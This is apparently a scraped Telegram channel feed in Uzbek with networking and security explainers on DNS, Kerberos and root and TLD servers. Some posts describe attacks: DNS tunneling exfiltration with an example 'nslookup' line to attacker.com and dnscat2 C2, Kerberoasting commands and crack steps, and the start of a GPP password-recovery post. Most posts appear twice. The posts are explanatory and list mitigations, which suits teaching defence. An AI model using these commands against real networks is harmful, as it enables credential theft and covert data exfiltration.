AI o'zini himoya qilish uchun shantaj, yolg‘on gapirish, fitna uyushtirish va hatto tahdid qilishni o‘rganib oldi.
Bu kun kelishini bilganlar bormi?
Batafsil
@cisco_server
@uzbekona_cisco
Please open Telegram to view this post
VIEW IN TELEGRAM
Daryo
Sun’iy intellekt shantaj qilish, yolg‘on gapirish, fitna uyushtirish va hatto tahdid qilishni o‘rganib oldi
Anthropic kompaniyasining so‘nggi ixtirosi Claude 4 tarmoqdan uzilish xavfi ostida qolganida muhandisga shantaj qilib, uning nikohdan tashqari aloqasini oshkor etish bilan tahdid qildi
💯6😁3👍2
Youtube da juda yaxshi bir kanalni ko'rib qoldim.
Tarmoq va Tizim administratorligini nazariyasini shunaqa zo'r tushintirishan ekan, ko'rib mazza qildim.
to'g'ri, o'ta chuqur tushintirilmaganu, lekin bemmalol boshlang'ich tushinchani olsa bo'ladigan darajada ekan.
Hullas ming marta eshitdandan bir marta ko'rgan maqqul.
@cisco_server Biz sizga doim eng yaxshilarini ravo ko'ramiz
Tarmoq va Tizim administratorligini nazariyasini shunaqa zo'r tushintirishan ekan, ko'rib mazza qildim.
to'g'ri, o'ta chuqur tushintirilmaganu, lekin bemmalol boshlang'ich tushinchani olsa bo'ladigan darajada ekan.
Hullas ming marta eshitdandan bir marta ko'rgan maqqul.
@cisco_server Biz sizga doim eng yaxshilarini ravo ko'ramiz
YouTube
Основы BGP за 7 минут
💡 Мини - курс по BGP: https://wiki.merionet.ru/merion-academy/courses/mini-kurs-po-bgp/?utm_source=YT&utm_content=BGP
💪 Полный курс по сетевым технологиям: https://wiki.merionet.ru/merion-academy/courses/polnyj-kurs-po-kompyuternym-setyam/?utm_source=YT&utm_content=BGP…
💪 Полный курс по сетевым технологиям: https://wiki.merionet.ru/merion-academy/courses/polnyj-kurs-po-kompyuternym-setyam/?utm_source=YT&utm_content=BGP…
❤3👍1
Telegramda schedule qilishdagi BUG sabab 2-iyuldan 5-iyulga qadar postlarni schedule qilib bo'lmayapti.
Siz ham payqadingizmi?
@cisco_server
Siz ham payqadingizmi?
@cisco_server
👍2
📡 DNS qanday ishlaydi? | Misol: uzbekonacisco.uz
Har safar siz brauzerga https://uzbekonacisco.uz deb yozganingizda, bu domen aslida qanday qilib kompyuteringizga IP manzil sifatida yetib keladi?
Keling, bosqichma-bosqich DNS jarayonini ko‘rib chiqamiz:
1️⃣. So‘rov yuboriladi (Query Initiation)
Foydalanuvchi uzbekonacisco.uz saytiga kirishni xohlaydi. Kompyuter bu domen uchun IP manzilni bilmasligi mumkin, shuning uchun DNS so‘rovi boshlanadi.
2️⃣. Lokal xotira (kesh) tekshiriladi
Kompyuter birinchi bo‘lib o‘zining keshida ushbu domen manzili saqlanganmi yoki yo‘qligini tekshiradi. Agar bor bo‘lsa — to‘g‘ridan IP manzilni olib, brauzerga yuboradi.
3️⃣. DNS serverga so‘rov (Recursive Query)
Agar keshda topilmasa, kompyuter o‘ziga o‘rnatilgan DNS serverga (ISPniki yoki Google 8.8.8.8) so‘rov yuboradi.
4️⃣. Root serverlar ishga tushadi
DNS server birinchi bo‘lib Root serverga murojaat qiladi. Root server .uz domeni uchun mas’ul bo‘lgan TLD (Top-Level Domain) server manzilini qaytaradi.
5️⃣. TLD server javob beradi
.uz TLD serveri esa DNS serverga uzbekonacisco.uz domeni qayerda ro‘yxatdan o‘tganini va u bilan bog‘liq vakolatli DNS server manzilini beradi.
6️⃣. Vakolatli DNS serverdan IP olinadi
DNS server endi uzbekonacisco.uz domeniga xizmat qilayotgan asl DNS serverga murojaat qiladi va IP manzilni so‘raydi.
7️⃣. DNS javobni oladi
Vakolatli DNS server uzbekonacisco.uz sayti uchun kerakli IP manzilni (masalan, 195.158.8.21) qaytaradi.
8️⃣. Javob brauzerga yetib keladi
DNS server bu IP manzilni sizning kompyuteringizga yuboradi va brauzeringiz saytga ulanadi.
✅ Natija: Siz uzbekonacisco.uz saytga kirgandek bo‘lasiz, lekin aslida bu orqada 8 ta bosqichda IP topilgan bo‘ladi.
📎 Foydali ma’lumot:
Agar siz bu jarayonni nslookup uzbekonacisco.uz yoki dig uzbekonacisco.uz buyruqlari bilan tekshirsangiz, haqiqiy IP manzil va serverlar haqida ma’lumot olishingiz mumkin.
📣 DNS — internetning yashirin yuragi. Uni tushungan kishi — tarmoqda nima bo‘layotganini to‘liq anglaydi!
O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz
Har safar siz brauzerga https://uzbekonacisco.uz deb yozganingizda, bu domen aslida qanday qilib kompyuteringizga IP manzil sifatida yetib keladi?
Keling, bosqichma-bosqich DNS jarayonini ko‘rib chiqamiz:
1️⃣. So‘rov yuboriladi (Query Initiation)
Foydalanuvchi uzbekonacisco.uz saytiga kirishni xohlaydi. Kompyuter bu domen uchun IP manzilni bilmasligi mumkin, shuning uchun DNS so‘rovi boshlanadi.
2️⃣. Lokal xotira (kesh) tekshiriladi
Kompyuter birinchi bo‘lib o‘zining keshida ushbu domen manzili saqlanganmi yoki yo‘qligini tekshiradi. Agar bor bo‘lsa — to‘g‘ridan IP manzilni olib, brauzerga yuboradi.
3️⃣. DNS serverga so‘rov (Recursive Query)
Agar keshda topilmasa, kompyuter o‘ziga o‘rnatilgan DNS serverga (ISPniki yoki Google 8.8.8.8) so‘rov yuboradi.
4️⃣. Root serverlar ishga tushadi
DNS server birinchi bo‘lib Root serverga murojaat qiladi. Root server .uz domeni uchun mas’ul bo‘lgan TLD (Top-Level Domain) server manzilini qaytaradi.
5️⃣. TLD server javob beradi
.uz TLD serveri esa DNS serverga uzbekonacisco.uz domeni qayerda ro‘yxatdan o‘tganini va u bilan bog‘liq vakolatli DNS server manzilini beradi.
6️⃣. Vakolatli DNS serverdan IP olinadi
DNS server endi uzbekonacisco.uz domeniga xizmat qilayotgan asl DNS serverga murojaat qiladi va IP manzilni so‘raydi.
7️⃣. DNS javobni oladi
Vakolatli DNS server uzbekonacisco.uz sayti uchun kerakli IP manzilni (masalan, 195.158.8.21) qaytaradi.
8️⃣. Javob brauzerga yetib keladi
DNS server bu IP manzilni sizning kompyuteringizga yuboradi va brauzeringiz saytga ulanadi.
✅ Natija: Siz uzbekonacisco.uz saytga kirgandek bo‘lasiz, lekin aslida bu orqada 8 ta bosqichda IP topilgan bo‘ladi.
📎 Foydali ma’lumot:
Agar siz bu jarayonni nslookup uzbekonacisco.uz yoki dig uzbekonacisco.uz buyruqlari bilan tekshirsangiz, haqiqiy IP manzil va serverlar haqida ma’lumot olishingiz mumkin.
📣 DNS — internetning yashirin yuragi. Uni tushungan kishi — tarmoqda nima bo‘layotganini to‘liq anglaydi!
O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz
👍7❤2
🌐 1. Root Serverlar (Root Name Servers)
📌 Nima bu?
Root serverlar — DNS tizimining eng yuqori darajadagi serverlari bo‘lib, ular domen nomi (example.com) qayerga yo‘naltirilishi kerakligini boshlang‘ich nuqtadan aniqlashga yordam beradi.
🧠 Ular nima qiladi?
Foydalanuvchining DNS so‘rovini oladi (masalan: academy.hackthebox.com).
Ushbu domen nomi qaysi TLD server (masalan: .com, .org) ga tegishli ekanini aniqlab beradi.
O‘zida IP-manzil saqlamaydi, faqat keyingi bosqich (TLD server) manzilini ko‘rsatadi.
🌍 Nechta bor?
13 ta Root Server tizimi mavjud (A'dan M'gacha nomlangan).
Har biri ko‘p sonli serverlar va IP manzillarga ega (CDN orqali tarqatilgan).
Ularni boshqaruvchi tashkilotlar: ICANN, Verisign, RIPE, NASA, va boshqalar.
Misollar:
A.root-servers.net (ICANN)
B.root-servers.net (USC-ISI)
C.root-servers.net (Cogent)
O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz.
@uzbekona_cisco
@cisco_server
📌 Nima bu?
Root serverlar — DNS tizimining eng yuqori darajadagi serverlari bo‘lib, ular domen nomi (example.com) qayerga yo‘naltirilishi kerakligini boshlang‘ich nuqtadan aniqlashga yordam beradi.
🧠 Ular nima qiladi?
Foydalanuvchining DNS so‘rovini oladi (masalan: academy.hackthebox.com).
Ushbu domen nomi qaysi TLD server (masalan: .com, .org) ga tegishli ekanini aniqlab beradi.
O‘zida IP-manzil saqlamaydi, faqat keyingi bosqich (TLD server) manzilini ko‘rsatadi.
🌍 Nechta bor?
13 ta Root Server tizimi mavjud (A'dan M'gacha nomlangan).
Har biri ko‘p sonli serverlar va IP manzillarga ega (CDN orqali tarqatilgan).
Ularni boshqaruvchi tashkilotlar: ICANN, Verisign, RIPE, NASA, va boshqalar.
Misollar:
A.root-servers.net (ICANN)
B.root-servers.net (USC-ISI)
C.root-servers.net (Cogent)
O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz.
@uzbekona_cisco
@cisco_server
👍2
🗂 2. TLD Serverlar (Top-Level Domain Servers)
📌 Nima bu?
TLD serverlar — yuqori darajadagi domenlarga (.com, .uz, .net, .org, .edu) xizmat ko‘rsatadigan DNS serverlar.
🧠 Ular nima qiladi?
Root serverdan yo‘naltirilgan so‘rovni oladi.
Keyin ikkinchi darajali domen (masalan, hackthebox qismi) uchun vakolatli DNS server manzilini beradi.
Misol:
Siz academy.hackthebox.com ga kiryapsiz:
Root server .com domen uchun .com TLD server manzilini beradi.
.com TLD server esa hackthebox.com ning DNS server manzilini ko‘rsatadi.
🔐 Ularni kim boshqaradi?
.com, .net — Verisign
.org — Public Interest Registry
.uz — UZINFOCOM (O‘zbekistondagi .uz domeni uchun)
Har bir TLD’ni alohida tashkilot boshqaradi.
O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz.
@uzbekona_cisco
@cisco_server
📌 Nima bu?
TLD serverlar — yuqori darajadagi domenlarga (.com, .uz, .net, .org, .edu) xizmat ko‘rsatadigan DNS serverlar.
🧠 Ular nima qiladi?
Root serverdan yo‘naltirilgan so‘rovni oladi.
Keyin ikkinchi darajali domen (masalan, hackthebox qismi) uchun vakolatli DNS server manzilini beradi.
Misol:
Siz academy.hackthebox.com ga kiryapsiz:
Root server .com domen uchun .com TLD server manzilini beradi.
.com TLD server esa hackthebox.com ning DNS server manzilini ko‘rsatadi.
🔐 Ularni kim boshqaradi?
.com, .net — Verisign
.org — Public Interest Registry
.uz — UZINFOCOM (O‘zbekistondagi .uz domeni uchun)
Har bir TLD’ni alohida tashkilot boshqaradi.
O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz.
@uzbekona_cisco
@cisco_server
❤2👍1
🔐 Hujum senariysi: DNS tunneling orqali ma’lumot o‘g‘irlash
🧩 1-bosqich: Tashqi DNS server tayyorlash
Hujumchi o‘zining boshqaruvidagi domenni sotib oladi:
📌 Masalan: attacker.com
So‘ngra, ns1.attacker.com nomli custom DNS server yaratadi (Iodine, dnscat2, OzymanDNS, yoki custom Python skript orqali).
🧠 2-bosqich: Ichki tarmoqdagi qurilmaga zararli dastur joylash
Hujumchi phishing orqali yoki ekspluatatsiya orqali ichki qurilmaga quyidagi vazifani bajaradigan payload joylaydi:
Ma’lumotlarni bo‘laklab (chunk) DNS query’lar ichiga joylaydi.
Masalan: bWFsd2FyZGV4Zmls==.exfil.attacker.com
Bu Base64 bo‘lib, DNS so‘rov subdomain orqali tashqariga yuboriladi.
🌐 3-bosqich: DNS so‘rovlari orqali ma’lumotni yuborish
Zararli dastur nslookup, dig, yoki maxsus kutubxonalar yordamida DNS so‘rov yuboradi:
bash
Copy
Edit
nslookup bWFsZGF0YQ.attacker.com
Ichki DNS forwarder bu so‘rovni internetga uzatadi va u hujumchining DNS serveriga keladi.
✅ Natija: Hujumchi subdomain nomi orqali ma’lumotni DNS orqali oladi, firewalllar esa buni oddiy DNS trafigi deb o‘ylaydi.
💻 4-bosqich: Ma’lumot yig‘ish yoki shell olish
DNS tunneling faqat exfiltration uchun emas, balki teskari aloqa (C2 — Command & Control) uchun ham ishlatiladi. Masalan:
DNS orqali buyruq yuboriladi: cmd.bWQ=.attacker.com
Ichki qurilma uni qabul qilib bajaradi.
Natijani yana subdomain orqali qaytaradi.
🔍 Misol: dnscat2 vositasi
Server: Hujumchining tashqi attacker.com domenida dnscat2-server
Client: Ichki tizimda dnscat2-client
Kanal orqali shell ochiladi: hujumchi ichki tizimga DNS orqali buyruqlar yuboradi va natijani oladi.
🛡 Qarshi choralar (MITIGATIONS)
Choralar Tavsifi
🔒 DNS filtering DNS so‘rov uzunligi, shubhali subdomainlar bo‘yicha filtrlash
📊 SIEM orqali monitoring Uzun, kodlangan yoki tez-tez so‘raladigan DNS nomlarni aniqlash
🚫 DNS tunneling detection tools Zeek (Bro), Splunk, Suricata, Wazuh orqali anomaliyalarni topish
🔐 DNS-over-HTTPS bloklash DNS so‘rovlari VPN yoki HTTPS ichida ketayotganini aniqlash
🧠 Xulosa:
DNS tunneling — ko‘p hollarda firewall va DLP tizimlarini aylanib o‘tish uchun ishlatiladi. Odatda u:
Data exfiltration (ma’lumot o‘g‘irlash)
Command & Control
Bypass detection
uchun xizmat qiladi.
O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz.
@uzbekona_cisco
@cisco_server
🧩 1-bosqich: Tashqi DNS server tayyorlash
Hujumchi o‘zining boshqaruvidagi domenni sotib oladi:
📌 Masalan: attacker.com
So‘ngra, ns1.attacker.com nomli custom DNS server yaratadi (Iodine, dnscat2, OzymanDNS, yoki custom Python skript orqali).
🧠 2-bosqich: Ichki tarmoqdagi qurilmaga zararli dastur joylash
Hujumchi phishing orqali yoki ekspluatatsiya orqali ichki qurilmaga quyidagi vazifani bajaradigan payload joylaydi:
Ma’lumotlarni bo‘laklab (chunk) DNS query’lar ichiga joylaydi.
Masalan: bWFsd2FyZGV4Zmls==.exfil.attacker.com
Bu Base64 bo‘lib, DNS so‘rov subdomain orqali tashqariga yuboriladi.
🌐 3-bosqich: DNS so‘rovlari orqali ma’lumotni yuborish
Zararli dastur nslookup, dig, yoki maxsus kutubxonalar yordamida DNS so‘rov yuboradi:
bash
Copy
Edit
nslookup bWFsZGF0YQ.attacker.com
Ichki DNS forwarder bu so‘rovni internetga uzatadi va u hujumchining DNS serveriga keladi.
✅ Natija: Hujumchi subdomain nomi orqali ma’lumotni DNS orqali oladi, firewalllar esa buni oddiy DNS trafigi deb o‘ylaydi.
💻 4-bosqich: Ma’lumot yig‘ish yoki shell olish
DNS tunneling faqat exfiltration uchun emas, balki teskari aloqa (C2 — Command & Control) uchun ham ishlatiladi. Masalan:
DNS orqali buyruq yuboriladi: cmd.bWQ=.attacker.com
Ichki qurilma uni qabul qilib bajaradi.
Natijani yana subdomain orqali qaytaradi.
🔍 Misol: dnscat2 vositasi
Server: Hujumchining tashqi attacker.com domenida dnscat2-server
Client: Ichki tizimda dnscat2-client
Kanal orqali shell ochiladi: hujumchi ichki tizimga DNS orqali buyruqlar yuboradi va natijani oladi.
🛡 Qarshi choralar (MITIGATIONS)
Choralar Tavsifi
🔒 DNS filtering DNS so‘rov uzunligi, shubhali subdomainlar bo‘yicha filtrlash
📊 SIEM orqali monitoring Uzun, kodlangan yoki tez-tez so‘raladigan DNS nomlarni aniqlash
🚫 DNS tunneling detection tools Zeek (Bro), Splunk, Suricata, Wazuh orqali anomaliyalarni topish
🔐 DNS-over-HTTPS bloklash DNS so‘rovlari VPN yoki HTTPS ichida ketayotganini aniqlash
🧠 Xulosa:
DNS tunneling — ko‘p hollarda firewall va DLP tizimlarini aylanib o‘tish uchun ishlatiladi. Odatda u:
Data exfiltration (ma’lumot o‘g‘irlash)
Command & Control
Bypass detection
uchun xizmat qiladi.
O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz.
@uzbekona_cisco
@cisco_server
⚡1
Kerberoasting — bu Windows Active Directory (AD) muhitida ishlatiladigan hujum usuli bo‘lib, u orqali hujumchi xizmat (service) hisoblariga tegishli Kerberos chiptalarini (ticket) olib, offline tarzda parolni buzishga (crack) urinadi.
Bu hujum Kerberos autentifikatsiya protokolining xususiyatlaridan foydalanadi.
🔍 Qanday ishlaydi? (Bosqichma-bosqich)
1. Hujumchi tarmoqga kiradi
Hujumchi AD domeniga oddiy foydalanuvchi sifatida tizimga kirgan bo‘ladi (ya’ni ichki hujum).
2. SPN (Service Principal Name) bilan hisoblarni aniqlaydi
setspn -T domain.local -Q */* orqali xizmatlar (service accounts) ro‘yxatini oladi.
Bu hisoblar odatda parollarini almashtirmay ishlatiladigan xizmat hisoblari bo‘ladi.
3. Kerberos’dan TGS chiptani so‘raydi
Request TGS (Ticket Granting Service) orqali xizmatga mos chipta so‘raladi.
Bu chipta xizmat hisobining paroli asosida shifrlangan bo‘ladi.
4. Chipta lokalga saqlanadi va offline “crack” qilinadi
Chiptani hash sifatida saqlaydi (.kirbi fayl bo‘lishi mumkin).
Keyin Hashcat, John the Ripper kabi vositalar orqali parolni bruteforce qiladi.
🧠 Nega ishlaydi?
Kerberos’da TGS chiptalari xizmat hisobining NTLM parol hash'i bilan shifrlanadi.
Agar bu hisob paroli kuchsiz bo‘lsa (masalan: Welcome123!), hujumchi bu hashni offline tarzda tezda buzib olish imkoniga ega bo‘ladi.
🛠 Hujumda ishlatiladigan vositalar:
Rubeus (PowerShell)
Impacket (Python)
hashcat (crack uchun)
GetUserSPNs.py (Impacket tarkibida bo‘ladi)
bash
Copy
Edit
GetUserSPNs.py DOMAIN/username:password -dc-ip 192.168.1.1
🎯 Nima uchun xavfli?
Hujum aniqlanishi qiyin, chunki foydalanuvchi o‘ziga chipta olgani kabi ko‘rinadi.
Parollar offline tarzda buziladi — ya’ni tarmoqdan uzilgan holda.
Ko‘plab tashkilotlarda xizmat hisoblarida kuchsiz parollar bo‘ladi va ular yillar davomida o‘zgartirilmaydi.
🛡 Qarshi himoya choralar
✅ Himoya strategiyalari:
Choralar Tavsif
🔑 Xizmat hisoblari uchun kuchli parollar 20+ belgili, murakkab
🔄 Parollarni davriy o‘zgartirish Har 90 kunda kamida
👤 AES-only Kerberos chiptalar RC4’dan AES256’ga o‘tish
🔍 Kerberos TGS monitoring SIEM’da g‘ayrioddiy TGS so‘rovlar
❌ SPN’li keraksiz hisoblarni o‘chirish Faol bo‘lmagan SPN’lar
🧪 Real hayotdagi misol
Masalan, tashkilotda svc_sql degan xizmat hisobi bo‘lsa, hujumchi:
GetUserSPNs.py orqali SPN’larni topadi.
svc_sql'ga TGS so‘raydi.
Chiptani olib hashcat bilan buzadi.
Parol Sql2023! bo‘lsa, tezda ochiladi.
Endi u bu hisob bilan boshqa serverlarga RDP, PowerShell, SQL orqali kira oladi.
O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz.
@uzbekona_cisco
@cisco_server
Bu hujum Kerberos autentifikatsiya protokolining xususiyatlaridan foydalanadi.
🔍 Qanday ishlaydi? (Bosqichma-bosqich)
1. Hujumchi tarmoqga kiradi
Hujumchi AD domeniga oddiy foydalanuvchi sifatida tizimga kirgan bo‘ladi (ya’ni ichki hujum).
2. SPN (Service Principal Name) bilan hisoblarni aniqlaydi
setspn -T domain.local -Q */* orqali xizmatlar (service accounts) ro‘yxatini oladi.
Bu hisoblar odatda parollarini almashtirmay ishlatiladigan xizmat hisoblari bo‘ladi.
3. Kerberos’dan TGS chiptani so‘raydi
Request TGS (Ticket Granting Service) orqali xizmatga mos chipta so‘raladi.
Bu chipta xizmat hisobining paroli asosida shifrlangan bo‘ladi.
4. Chipta lokalga saqlanadi va offline “crack” qilinadi
Chiptani hash sifatida saqlaydi (.kirbi fayl bo‘lishi mumkin).
Keyin Hashcat, John the Ripper kabi vositalar orqali parolni bruteforce qiladi.
🧠 Nega ishlaydi?
Kerberos’da TGS chiptalari xizmat hisobining NTLM parol hash'i bilan shifrlanadi.
Agar bu hisob paroli kuchsiz bo‘lsa (masalan: Welcome123!), hujumchi bu hashni offline tarzda tezda buzib olish imkoniga ega bo‘ladi.
🛠 Hujumda ishlatiladigan vositalar:
Rubeus (PowerShell)
Impacket (Python)
hashcat (crack uchun)
GetUserSPNs.py (Impacket tarkibida bo‘ladi)
bash
Copy
Edit
GetUserSPNs.py DOMAIN/username:password -dc-ip 192.168.1.1
🎯 Nima uchun xavfli?
Hujum aniqlanishi qiyin, chunki foydalanuvchi o‘ziga chipta olgani kabi ko‘rinadi.
Parollar offline tarzda buziladi — ya’ni tarmoqdan uzilgan holda.
Ko‘plab tashkilotlarda xizmat hisoblarida kuchsiz parollar bo‘ladi va ular yillar davomida o‘zgartirilmaydi.
🛡 Qarshi himoya choralar
✅ Himoya strategiyalari:
Choralar Tavsif
🔑 Xizmat hisoblari uchun kuchli parollar 20+ belgili, murakkab
🔄 Parollarni davriy o‘zgartirish Har 90 kunda kamida
👤 AES-only Kerberos chiptalar RC4’dan AES256’ga o‘tish
🔍 Kerberos TGS monitoring SIEM’da g‘ayrioddiy TGS so‘rovlar
❌ SPN’li keraksiz hisoblarni o‘chirish Faol bo‘lmagan SPN’lar
🧪 Real hayotdagi misol
Masalan, tashkilotda svc_sql degan xizmat hisobi bo‘lsa, hujumchi:
GetUserSPNs.py orqali SPN’larni topadi.
svc_sql'ga TGS so‘raydi.
Chiptani olib hashcat bilan buzadi.
Parol Sql2023! bo‘lsa, tezda ochiladi.
Endi u bu hisob bilan boshqa serverlarga RDP, PowerShell, SQL orqali kira oladi.
O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz.
@uzbekona_cisco
@cisco_server
👍2
Kerberos — bu tarmoq orqali xavfsiz autentifikatsiya qilish uchun ishlatiladigan protokol, u biletlarga (ticket) asoslangan va foydalanuvchi parolini tarmoq orqali yubormasdan tizimga kirishni ta’minlaydi.
✈️ Hayotiy misol: Aeroport orqali uchish (Kerberos modeli)
🧍♂️ 1. Siz aeroportga kirdingiz – (Login bosqichi)
Siz o‘zingizni tanishtirasiz – pasportingizni ko‘rsatasiz. Bu:
Sizning foydalanuvchi nomingiz va parolingiz
Aeroport xavfsizlik xodimi esa – Authentication Server (AS)
➡️ Agar sizning ma’lumotlaringiz to‘g‘ri bo‘lsa, sizga boarding pass (TGT) beriladi.
🛂 2. Endi siz darvozaga borasiz – (Xizmat so‘rovi)
Sizga endi xizmat kerak – masalan, uchish darvozasiga kirish.
Siz boarding pass (TGT) ni ko‘rsatib, uchish darvozasi chipta (TGS) so‘raysiz.
Bu bosqichda:
Siz — foydalanuvchi
Darvoza xodimi — Ticket Granting Service (TGS)
Uchish — bu xizmat (masalan, SQL Server)
➡️ Sizga uchish uchun maxsus ruxsatnoma (TGS chipta) beriladi.
🛫 3. Siz xizmatga kiryapsiz – (Xizmatga ulanish)
Endi siz darvoza oldida turibsiz. Siz ruxsatnomani (TGS) ko‘rsatasiz va:
Agar hammasi to‘g‘ri bo‘lsa – sizni samolyotga (xizmatga) o‘tkazishadi.
Bu yerda xizmat — masalan, Web server, SQL, file server bo‘lishi mumkin.
🧠 Yodda tutish kerak bo‘lganlar:
Hayotiy misol Kerberosdagi mos narsa
Pasport ko‘rsatish Foydalanuvchi login + parol
Boarding pass TGT (Ticket Granting Ticket)
Darvoza ruxsatnomasi TGS (xizmatga chipta)
Samolyotga o‘tish Xizmatga autentifikatsiyadan o‘tish
Aeroport xavfsizligi KDC (Kerberos serveri)
🔐 Nega bu xavfsiz?
Siz parolni hech qayerda ochiq ko‘rsatmaysiz.
Faqat sizga mos chiptalar bilan tizimga kirasiz.
Har bir chipta vaqt bilan cheklangan – bu esa xavfsizlikni oshiradi.
O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz.
@uzbekona_cisco
@cisco_server
✈️ Hayotiy misol: Aeroport orqali uchish (Kerberos modeli)
🧍♂️ 1. Siz aeroportga kirdingiz – (Login bosqichi)
Siz o‘zingizni tanishtirasiz – pasportingizni ko‘rsatasiz. Bu:
Sizning foydalanuvchi nomingiz va parolingiz
Aeroport xavfsizlik xodimi esa – Authentication Server (AS)
➡️ Agar sizning ma’lumotlaringiz to‘g‘ri bo‘lsa, sizga boarding pass (TGT) beriladi.
🛂 2. Endi siz darvozaga borasiz – (Xizmat so‘rovi)
Sizga endi xizmat kerak – masalan, uchish darvozasiga kirish.
Siz boarding pass (TGT) ni ko‘rsatib, uchish darvozasi chipta (TGS) so‘raysiz.
Bu bosqichda:
Siz — foydalanuvchi
Darvoza xodimi — Ticket Granting Service (TGS)
Uchish — bu xizmat (masalan, SQL Server)
➡️ Sizga uchish uchun maxsus ruxsatnoma (TGS chipta) beriladi.
🛫 3. Siz xizmatga kiryapsiz – (Xizmatga ulanish)
Endi siz darvoza oldida turibsiz. Siz ruxsatnomani (TGS) ko‘rsatasiz va:
Agar hammasi to‘g‘ri bo‘lsa – sizni samolyotga (xizmatga) o‘tkazishadi.
Bu yerda xizmat — masalan, Web server, SQL, file server bo‘lishi mumkin.
🧠 Yodda tutish kerak bo‘lganlar:
Hayotiy misol Kerberosdagi mos narsa
Pasport ko‘rsatish Foydalanuvchi login + parol
Boarding pass TGT (Ticket Granting Ticket)
Darvoza ruxsatnomasi TGS (xizmatga chipta)
Samolyotga o‘tish Xizmatga autentifikatsiyadan o‘tish
Aeroport xavfsizligi KDC (Kerberos serveri)
🔐 Nega bu xavfsiz?
Siz parolni hech qayerda ochiq ko‘rsatmaysiz.
Faqat sizga mos chiptalar bilan tizimga kirasiz.
Har bir chipta vaqt bilan cheklangan – bu esa xavfsizlikni oshiradi.
O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz.
@uzbekona_cisco
@cisco_server
Kerberos bo'yicha qisqacha.
Hullas
1. Klient ASdan haqiqiyligini tekshirish uchun encrypt ko'rinishida request jo'natadi. Ichida Username va password bo'ladi.
2.AS da username va passwordning hashi saqlanadi.
Clientga TGT jo'natadi.
3. Uni qabul qilgan klient TGSdan ma'lum bir xizmatga ruhsat olish uchun so'rov jo'natadi.
TGT — siz kimligingizni tasdiqlovchi narsa
TGS — qaysi xizmatga kirishga haqligingizni tasdiqlovchi narsa.
TGTdan TGSga SPN orqali jo'natiladi.
TGS ni olgandan keyin mahsus xizmatlarga o'sha parolni heshi orqali kirish imkoni paydo bo'ladi.
Hullas
1. Klient ASdan haqiqiyligini tekshirish uchun encrypt ko'rinishida request jo'natadi. Ichida Username va password bo'ladi.
2.AS da username va passwordning hashi saqlanadi.
Clientga TGT jo'natadi.
3. Uni qabul qilgan klient TGSdan ma'lum bir xizmatga ruhsat olish uchun so'rov jo'natadi.
TGT — siz kimligingizni tasdiqlovchi narsa
TGS — qaysi xizmatga kirishga haqligingizni tasdiqlovchi narsa.
TGTdan TGSga SPN orqali jo'natiladi.
TGS ni olgandan keyin mahsus xizmatlarga o'sha parolni heshi orqali kirish imkoni paydo bo'ladi.
❤1🔥1
Qanday qilib HR xodimlari sizni suhbatga chaqirishga "majbur qilish" mumkinligni bilasizmi?
Umringizda hech bo'lmasa bitta bo'lsa ham , Resume to'ldirgan bo'lsangiz, albatta bu postni o'qib, qilgan xatolaringizni bilib oling.
O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz.
@uzbekona_cisco
@cisco_server
Umringizda hech bo'lmasa bitta bo'lsa ham , Resume to'ldirgan bo'lsangiz, albatta bu postni o'qib, qilgan xatolaringizni bilib oling.
O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz.
@uzbekona_cisco
@cisco_server
Jet Media
75% rezyumelar HRgacha yetib bormaydi: qanday qilib saralashdan o’tish va ishga taklif olish mumkin?
2025-yilda O’zbekiston mehnat bozori tobora raqobatbardosh bo’lib bormoqda: Toshkentdagi bitta vakansiyaga o’rtacha 50 tagacha murojaat keladi. Nomzodlarni avtomatik ravishda saralash tizimlari (ATS) rezyumelarning 75% gacha filtrlaysiz, rekruterlar esa har…
🔥2❤1👏1
Qanday qilib kerberoasting qilamiz?
1. Windowsdan Rubeus orqali SPNlarni yuklab olamiz biror nom ostida.
2. U SPNni olib linuxda oldindan yuklab olgan rockyou parollarimiz orqali SPN parolini brute force qilamiz.
3. Va jarayon tugagandan keyin, xosil bo'lgan fayl ichidan bizga kerakli user va parol bo'ladi.
Mana shunaqa ko'rinishda tarmog'imizdagi AD userlarining login parolini topib ularning nomidan ish qilishimiz mumkin.
Bu post faqat o'qib o'rganish uchun yozildi, Education purpose only!!!
@uzbekona_cisco
@cisco_server
1. Windowsdan Rubeus orqali SPNlarni yuklab olamiz biror nom ostida.
2. U SPNni olib linuxda oldindan yuklab olgan rockyou parollarimiz orqali SPN parolini brute force qilamiz.
3. Va jarayon tugagandan keyin, xosil bo'lgan fayl ichidan bizga kerakli user va parol bo'ladi.
Mana shunaqa ko'rinishda tarmog'imizdagi AD userlarining login parolini topib ularning nomidan ish qilishimiz mumkin.
Bu post faqat o'qib o'rganish uchun yozildi, Education purpose only!!!
@uzbekona_cisco
@cisco_server
❤1
🛡 Active Directory'da GPP orqali parolni olish — real xavf!
💡 GPP (Group Policy Preferences) — bu Windows Server’da foydalanuvchilar, xizmatlar va ish jadvalini avtomatlashtirish uchun ishlatiladigan imkoniyat. Lekin… bu imkoniyat orqali parollarni XML faylda shifrlab saqlash mumkin.
📁 Barcha GPP fayllari SYSVOL papkasida saqlanadi:
\\DOMAIN\SYSVOL\DOMAIN\Policies\
😱 Muammo shundaki:
XML fayllarda saqlanadigan parollar AES bilan shifrlangan bo‘lsa-da,
AES kaliti ommaga oshkor bo‘lgan (Microsoft o‘zi nashr qilgan!),
Har qanday "Authenticated User" bu fayllarni erkin o‘qiy oladi.
🔍 Pentester yoki hujumchi bu faylni topadi:
Groups.xml
🔓 So‘ng Get-GPPPassword.ps1 kabi skript orqali shifrlangan parolni ochadi.
📦 Natijada: Domain foydalanuvchisi yoki admin paroli ochiladi.
🔧 Qachon ishlatiladi?
Internal pentest jarayonida
